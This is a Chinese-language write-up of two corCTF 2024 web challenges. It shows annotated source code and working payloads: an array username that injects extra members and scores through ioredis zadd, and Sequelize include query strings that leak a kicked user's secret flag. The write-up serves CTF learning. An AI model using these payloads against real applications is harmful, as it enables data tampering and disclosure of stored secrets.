corCTF 2024 Web方向 题解WirteUp

2024-09-05 20:12

本文主要是介绍corCTF 2024 Web方向 题解WirteUp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[corCTF 2024] rock-paper-scissors

题目描述:can you beat fizzbuzz at rock paper scissors?

漏洞类型:代码逻辑缺陷,缺少类型验证

前言:感觉国际赛好喜欢出Node.js的题目。

开题

image-20240728030955851

是个石头剪刀布的游戏,输入以下名字就可以开始玩。规则是赢了加一分,输了清零。

看一下计分板,第一名是1336分,看了下源码,大于1336分拿到flag。

image-20240728031117166

放一下带注释的源码(index.js):

// 导入必要的模块和依赖
import Redis from 'ioredis';  // Redis 客户端库
import fastify from 'fastify';  // Fastify 框架用于构建 Web 应用
import fastifyStatic from '@fastify/static';  // Fastify 插件用于提供静态文件服务
import fastifyJwt from '@fastify/jwt';  // Fastify 插件用于处理 JWT 认证
import fastifyCookie from '@fastify/cookie';  // Fastify 插件用于处理 Cookie
import { join } from 'node:path';  // Node.js 路径模块用于处理文件路径
import { randomBytes, randomInt } from 'node:crypto';  // Node.js 加密模块用于生成随机数据// 初始化 Redis 客户端,连接到端口为 6379 的 Redis 服务器,主机名为 "redis"
const redis = new Redis(6379, "redis");// 初始化 Fastify 应用
const app = fastify();// 定义一个映射来确定石头剪刀布游戏的胜负条件
const winning = new Map([['🪨', '📃'],  // 石头输给纸['📃', '✂️'],  // 纸输给剪刀['✂️', '🪨']   // 剪刀输给石头
]);// 注册 Fastify 静态文件插件,从 'static' 目录提供静态文件
app.register(fastifyStatic, {root: join(import.meta.dirname, 'static'),  // 提供静态文件的目录prefix: '/'  // URL 前缀
});// 注册 Fastify JWT 插件进行认证,使用一个密钥和 Cookie 进行会话管理
app.register(fastifyJwt, { secret: process.env.SECRET_KEY || randomBytes(32),  // 使用环境变量中的密钥或生成的随机字节作为密钥cookie: { cookieName: 'session' }  // 用于存储 JWT 的 Cookie 名称
});// 注册 Fastify Cookie 插件处理 Cookie
app.register(fastifyCookie);// 为用户 'FizzBuzz101' 在 Redis 排行榜中添加初始分数
await redis.zadd('scoreboard', 1336, 'FizzBuzz101');// 定义路由以开始一个新游戏
app.post('/new', async (req, res) => {const { username } = req.body;  // 从请求体中提取用户名const game = randomBytes(8).toString('hex');  // 生成一个随机的游戏 IDawait redis.set(game, 0);  // 在 Redis 中初始化游戏分数为 0return res.setCookie('session', await res.jwtSign({ username, game })).send('OK');  // 创建 JWT 并设置在 Cookie 中,然后响应 'OK'
});// 定义路由以进行游戏
app.post('/play', async (req, res) => {try {await req.jwtVerify();  // 验证请求中的 JWT} catch(e) {return res.status(400).send({ error: 'invalid token' });  // 如果令牌无效,则响应错误}const { game, username } = req.user;  // 从验证后的令牌中提取游戏 ID 和用户名const { position } = req.body;  // 从请求体中提取用户的出招(位置)const system = ['🪨', '📃', '✂️'][randomInt(3)];  // 随机选择系统的出招if (winning.get(system) === position) {  // 检查系统的出招是否胜过用户的出招const score = await redis.incr(game);  // 在 Redis 中增加游戏分数return res.send({ system, score, state: 'win' });  // 响应系统的出招、新的分数和胜利状态} else {const score = await redis.getdel(game);  // 从 Redis 中获取并删除游戏分数if (score === null) {return res.status(404).send({ error: 'game not found' });  // 如果游戏未找到,则响应错误}await redis.zadd('scoreboard', score, username);  // 将最终分数添加到 Redis 的排行榜中return res.send({ system, score, state: 'end' });  // 响应系统的出招、最终分数和结束状态}
});// 定义路由以获取排行榜上的最高分
app.get('/scores', async (req, res) => {const result = await redis.zrevrange('scoreboard', 0, 99, 'WITHSCORES');  // 从 Redis 获取前 100 名的分数const scores = [];for (let i = 0; i < result.length; i += 2) {scores.push([result[i], parseInt(result[i + 1], 10)]);  // 将分数解析成 [用户名, 分数] 的数组}return res.send(scores);  // 响应分数
});// 定义路由以获取特定的奖励(flag)
app.get('/flag', async (req, res) => {try {await req.jwtVerify();  // 验证请求中的 JWT} catch(e) {return res.status(400).send({ error: 'invalid token' });  // 如果令牌无效,则响应错误}const score = await redis.zscore('scoreboard', req.user.username);  // 从排行榜中获取用户的分数if (score && score > 1336) {return res.send(process.env.FLAG || 'corctf{test_flag}');  // 如果分数高于阈值,则响应奖励(flag)}return res.send('You gotta beat Fizz!');  // 如果分数不够高,则响应提示信息
});// 启动 Fastify 服务器,监听端口 8080
app.listen({ host: '0.0.0.0', port: 8080 }, (err, address) => console.log(err ?? `web/rock-paper-scissors listening on ${address}`));

源码概述:

web应用程序是用Node.js和fasttify web框架编写的
JWT签名和验证使用tify的JWT
该数据库使用Redis,一种基于内存的数据库。web应用程序使用ioredis作为Redis客户端

读了一下源码,发现判断剪刀石头布输赢全是在后端Node完成的,后端通过JWT来判别用户身份、游戏并且在redis数据库中查询分数,首先得出的结论就是无法从前端下手。

继续读,发现/new路由每次都会生成一个随机的游戏 ID,新的。那就是说每次都会开一个新的游戏,无法继承之前的分数,同时排行榜分数取新不取高。通俗点来讲就是每次开始游戏分数都会为0。因此我无法利用排行榜那位1336分的选手。(尝试过用户名输入为FizzBuzz101但是开始游戏分数就是0了,同时排行榜不是取高,我用FizzBuzz101的用户名玩到5分输了,排行榜就变成5分了)

同时后端随机生成的也没种子,我们无法预测,也不存在伪随机数一说。

分析下来,发现我们只能通过修改redis数据库来达到目的了。

突破口也就是漏洞点在index.js第54行await redis.zadd('scoreboard', score, username);

image-20240802093906794

zadd方法中变量有score, username,我们可控的是username也就是我们一开始在弹窗输入的用户名。

可以传入用户名为一个数组,解析到zadd方法中,会发生神奇的变化:https://github.com/redis/ioredis/issues/468

辅以ZADD的官方文档,我们不难发现一些问题。

由于ioredis使参数扁平化,因此支持以下形式:

redis.zadd('key', [17, 'a'], [18, 'b'], [19, 'c'])

ZADD命令支持多个分数和成员对。例如,下面的ZADD命令将键scoreboard中的user1的得分设置为123,user2的得分设置为1337

ZADD scoreboard 123 "user1" 1337 "user2"

在这题源码中,根本没有类型验证,因此我们可以传入一个数组作为用户名,以欺骗zadd方法设置多个成员的分数!

举个粒子。如果我们的username为['J8',1337,'Jay17'] ,那么在后端执行时候变为了:

redis.zadd('scoreboard', score, ['J8',1337,'Jay17']);

也就是执行了如下ZADD命令

ZADD scoreboard score比如说1 'J8',1337,'Jay17'

那么结果就是J8为0分,Jay17为1337分。

ok,重开环境开始做题。

步骤一:(拿好生成的session)

路由:/new
POST:{"username":["J8",1337,"Jay17"]}

image-20240802103551053

步骤二:(带上session)目的是触发一下

路由:/play
Cookie:刚刚拿到的session

image-20240802103613493

步骤三:

换一个浏览器,以Jay17用户登录,去/flag路由拿flag。

image-20240802103710091

image-20240802103724760

[corCTF 2024] erm

题目描述:erm guys? why does goroo have the flag?

漏洞类型:Sequelize v6预先加载 导致SQL注入

开题,一个典型的CTF团队门户网站。

Home页面

image-20240802102045779

Writeups页面

image-20240804220805905

Members页面

image-20240804220814111

暂时看不出来题目漏洞,先看看源码吧

主要源码,附带注释:

app.js

// 引入 express 模块,用于创建 Web 服务器。
const express = require("express");// 引入 hbs (Handlebars) 模块,用作模板引擎。
const hbs = require("hbs");// 创建一个 Express 应用实例。
const app = express();// 引入数据库配置和模型。
const db = require("./db.js");// 设置服务器的端口号。如果 PORT 环境变量已设置,则使用它;否则使用 5000。
const PORT = process.env.PORT || 5000;// 将视图引擎设置为 hbs (Handlebars),这样 .hbs 文件将用作视图。
app.set("view engine", "hbs");// 一个实用函数,用于捕获异步错误并将它们转发到错误处理程序。
const wrap = fn => (req, res, next) => {return Promise.resolve(fn(req, res, next)).catch(next);
};// 定义 "/api/members" 路由,返回未被踢出的成员列表。
app.get("/api/members", wrap(async (req, res) => {// 从数据库中获取所有未被踢出的成员,包括他们的分类。const members = await db.Member.findAll({ include: db.Category, where: { kicked: false } });// 将成员转换为 JSON 格式并作为响应发送。res.json({ members: members.map(m => m.toJSON()) });
}));// 定义 "/api/writeup/:slug" 路由,根据 slug 返回特定的 writeup。
app.get("/api/writeup/:slug", wrap(async (req, res) => {// 根据 slug 查找 writeup,包括撰写它的成员。const writeup = await db.Writeup.findOne({ where: { slug: req.params.slug }, include: db.Member });// 如果未找到 writeup,则返回 404 错误。if (!writeup) return res.status(404).json({ error: "writeup not found" });// 将 writeup 转换为 JSON 格式并作为响应发送。res.json({ writeup: writeup.toJSON() });
}));// 定义 "/api/writeups" 路由,返回 writeups 列表。
app.get("/api/writeups", wrap(async (req, res) => {// 根据查询参数获取所有 writeups,转换为 JSON 格式,并按日期降序排序。const writeups = (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a, b) => b.date - a.date);// 发送排序后的 writeups 作为响应。res.json({ writeups });
}));// 定义 "/writeup/:slug" 路由,渲染 writeup 视图。
app.get("/writeup/:slug", wrap(async (req, res) => {// 渲染 "writeup" 视图。res.render("writeup");
}));// 定义 "/writeups" 路由,渲染 writeups 视图。
app.get("/writeups", wrap(async (req, res) => res.render("writeups")));// 定义 "/members" 路由,渲染 members 视图。
app.get("/members", wrap(async (req, res) => res.render("members")));// 定义根路由 "/",渲染 index 视图。
app.get("/", (req, res) => res.render("index"));// 错误处理中间件,记录错误并发送通用错误响应。
app.use((err, req, res, next) => {console.log(err);res.status(500).send('发生了错误');
});// 启动服务器并监听指定端口。服务器运行时在控制台记录一条消息。
app.listen(PORT, () => console.log(`web/erm 正在监听端口 ${PORT}`));

db.js

// 引入 Sequelize 库及其数据类型和操作符。
const { Sequelize, DataTypes, Op } = require('sequelize');// 引入 slugify 模块,用于生成 URL 友好的 slug。
const slugify = require('slugify');// 引入 rword 模块,用于生成随机单词。
const { rword } = require('rword');// 使用 SQLite 数据库并创建一个 Sequelize 实例。
const sequelize = new Sequelize({dialect: 'sqlite',storage: 'erm.db',logging: false
});  // 定义 Category 模型。
const Category = sequelize.define('Category', {name: {type: DataTypes.STRING,primaryKey: true,allowNull: false,}
});// 定义 Member 模型。
const Member = sequelize.define('Member', {username: {type: DataTypes.STRING,primaryKey: true,allowNull: false,},secret: {type: DataTypes.STRING,},kicked: {type: DataTypes.BOOLEAN,defaultValue: false,}
});// 定义 Writeup 模型。
const Writeup = sequelize.define('Writeup', {title: {type: DataTypes.STRING,allowNull: false},slug: {type: DataTypes.STRING,allowNull: false,},content: {type: DataTypes.TEXT,allowNull: false},date: {type: DataTypes.DATE,allowNull: false},category: {type: DataTypes.STRING,}
});// 设置 Category 和 Member 之间的多对多关系。
Category.belongsToMany(Member, { through: 'MemberCategory' });
Member.belongsToMany(Category, { through: 'MemberCategory' });// 设置 Member 和 Writeup 之间的一对多关系。
Member.hasMany(Writeup);
Writeup.belongsTo(Member);// 同步模型并用默认数据填充数据库。
sequelize.sync().then(async () => {// 检查数据库中是否已有 Writeup 记录。const writeupCount = await Writeup.count();if (writeupCount !== 0) return;console.log("seeding db with default data...");// 定义默认的分类和成员数据。const categories = ["web", "pwn", "rev", "misc", "crypto", "forensics"];const members = [{ username: "FizzBuzz101", categories: ["pwn", "rev"] },{ username: "strellic", categories: ["web", "misc"] },{ username: "EhhThing", categories: ["web", "misc"] },{ username: "drakon", categories: ["web", "misc"], },{ username: "ginkoid", categories: ["web", "misc"], },{ username: "jazzpizazz", categories: ["web", "misc"], },{ username: "BrownieInMotion", categories: ["web", "rev"] },{ username: "clubby", categories: ["pwn", "rev"] },{ username: "pepsipu", categories: ["pwn", "crypto"] },{ username: "chop0", categories: ["pwn"] },{ username: "ryaagard", categories: ["pwn"] },{ username: "day", categories: ["pwn", "crypto"] },{ username: "willwam845", categories: ["crypto"] },{ username: "quintec", categories: ["crypto", "misc"] },{ username: "anematode", categories: ["rev"] },{ username: "0x5a", categories: ["pwn"] },{ username: "emh", categories: ["crypto"] },{ username: "jammy", categories: ["misc", "forensics"] },{ username: "pot", categories: ["crypto"] },{ username: "plastic", categories: ["misc", "forensics"] },];// 创建默认的分类。for (const category of categories) {await Category.create({ name: category });}// 创建默认的成员,并将他们与相应的分类关联。for (const member of members) {const m = await Member.create({ username: member.username });for (const category of member.categories) {const c = await Category.findOne({ where: { name: category } });await m.addCategory(c);await c.addMember(m);}}// 创建一个被禁成员,因为泄露了解决脚本。const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });const web = await Category.findOne({ where: { name: "web" } });await goroo.addCategory(web);await web.addMember(goroo);// 创建默认的 Writeup 数据。for (let i = 0; i < 25; i++) {const challCategory = categories[Math.floor(Math.random() * categories.length)];const date = new Date(Math.floor(Math.random() * 4) + 2020, Math.floor(Math.random() * 12), Math.floor(Math.random() * 31) + 1);// 随机生成 CTF 和挑战名称。const ctfName = `${rword.generate(1, { capitalize: 'first', length: '4-6' })}CTF ${date.getFullYear()}`;const challName = `${challCategory}/${rword.generate(1)}`;const title = `${ctfName} - ${challName} Writeup`;const content = rword.generate(1, { capitalize: 'first'}) + " " + rword.generate(500).join(" ") + ".<br /><br />Thanks for reading!<br /><br />";// 创建 Writeup 并与随机选择的作者关联。const writeup = await Writeup.create({ title, content, date, slug: slugify(title, { lower: true }), category: challCategory });const authors = members.filter(m => m.categories.includes(challCategory));const author = await Member.findByPk(authors[Math.floor(Math.random() * authors.length)].username);await writeup.setMember(author);await author.addWriteup(writeup);}
});// 导出模型,以便在其他文件中使用。
module.exports = { Category, Member, Writeup };

源码概述:

Node.js编写
使用Express.js web应用程序框架
使用SQLite存储所有的成员、写入和类别
使用Sequelize ORM version 6与SQLite数据库进行交互
db.js中定义了各个数据模型和模型间的关系(仔细看下,之后要用)

db.js中,我们可以看到flag被存储在成员goroo(因为泄露解题方法被踢出队伍)的secret中

image-20240802105734102

所以我们的目标是以某种方式泄露成员goroo的秘密。回到Members页面,这边能看到未被踢出的成员的id、方向。

我们需要能看到被踢出的成员、和他们的秘密(这些信息在SQLite数据库中)。

image-20240804220814111

那么这题相当于需要SQL注入了,不是传统意义上的那种,后文会说。

涉及的文档:https://sequelize.org/docs/v6/

特别是预先加载(漏洞点)这一部分:https://sequelize.org/docs/v6/advanced-association-concepts/eager-loading/

谷歌翻译下看起来还是容易的

image-20240806002253638

在Burp的http历史记录里面我们能发现网站是如何查询**writeup**的

/api/writeups?where[category]=web

image-20240806000959341

对应app.js源码:

// 定义 "/api/writeups" 路由,返回 writeups 列表。
app.get("/api/writeups", wrap(async (req, res) => {// 根据查询参数获取所有 writeups,转换为 JSON 格式,并按日期降序排序。const writeups = (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a, b) => b.date - a.date);// 发送排序后的 writeups 作为响应。res.json({ writeups });
}));

在app.js源码中相当于:req.query=where[category]=web

const writeups =(await db.Writeup.findAll({ where: { category: "web" }
})).map(w => w.toJSON()).sort((a, b) => b.date - a.date);

这里使用的是选项where,类似于SQL语句中的WHERE,用于在同一张表中添加过滤选项获得信息。

文档中还给了一个选项include,可以获取与当前模型关联的模型(一下子就通透起来了)

这样,我们就能在查询Writeup模型的时候获取Member模型的信息了

读者可能想问,网页中有查询Member模型相关信息的页面啊,为什么要多此一举?

这里补一下,直接看网页或者是读源码可以发现,查询Member模型相关信息的语句是写死的。注入不了

image-20240806003517756

OK我们继续读文档,看看这个include选项怎么用。以下是官方文档给出的代码示例:

指定要加载的模型以及别名:(也就是后文精确查找flag)

const users = await User.findAll({include: { model: Tool, as: 'Instruments' },
});
console.log(JSON.stringify(users, null, 2));

要包含所有相关模型,可以使用allnested选项:(也就是后文全部查找)

// Fetch all models associated with User
User.findAll({ include: { all: true } });// Fetch all models associated with User and their nested associations (recursively)
User.findAll({ include: { all: true, nested: true } });

那么现在有两种都可行的办法,通俗的称之为精确查找flag和全部查找。

一、精确查找flag

可以通过指定与关联别名匹配的字符串来包含别名:

User.findAll({ include: 'Instruments' }); // Also works
User.findAll({ include: { association: 'Instruments' } }); // Also works

比如如下方式都可以看到Writeup对应的成员信息。

/api/writeups?include=Member
/api/writeups?include[]=Member
/api/writeups?include[0]=Member
/api/writeups?include[association]=Member

image-20240806015040304

引用下Z3r4y师傅的payload:【Web】corCTF2024 题解(部分)-CSDN博客

因为已经定义了一个model,所以要用association来查Member模型的信息。同时用on来联合多表查询,联合Member模型的所有信息包括被踢成员,直接查询被踢掉的成员的所有信息。

/api/writeups?include[association]=Member&include[on][kicked]=1

同理通过username也可以查

/api/writeups?include[association]=Member&include[on][username]=goroo

image-20240806025935940

二、全部查找

根据源码定义的模型结构,结合文档,我们需要构造出下面的语句进行查询

const writeups =(await db.Writeup.findAll({'include': {'all': true,'include': {'all': true,'include': {'all': true}}}
})).map(m => m.toJSON()).sort((a, b) => b.date - a.date)

但是true是布尔值,传参进去的是字符串。由于某些原因,我们传参时候可以用All字符串替代布尔值true,类似如下这样子。

const writeups =(await db.Writeup.findAll({'include': {'all': 'All','include': {'all': 'All','include': {'all': 'All'}}}
})).map(m => m.toJSON()).sort((a, b) => b.date - a.date)

OK回到题目

第一步,Writeup模型到与之相关的(有多对多或是一对多关系)Member模型的信息(比如说成员FizzBuzz101)

/api/writeups?include[all]=All

image-20240806011452809

第二步,Member模型到与之相关的Category模型的信息(比如说方向web)

/api/writeups?include[all]=All&include[include][all]=All

image-20240806011522086

第二步,Category模型到与之相关的Member模型的信息(比如说从事方向web的成员goroo和他的所有信息包括flag)

/api/writeups?include[all]=All&include[include][all]=All&include[include][include][all]=All

image-20240806011649548

OK,收工

这篇关于corCTF 2024 Web方向 题解WirteUp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1139948

相关文章

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

2024/9/8 c++ smart

1.通过自己编写的class来实现unique_ptr指针的功能 #include <iostream> using namespace std; template<class T> class unique_ptr { public:         //无参构造函数         unique_ptr();         //有参构造函数         unique_ptr(

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &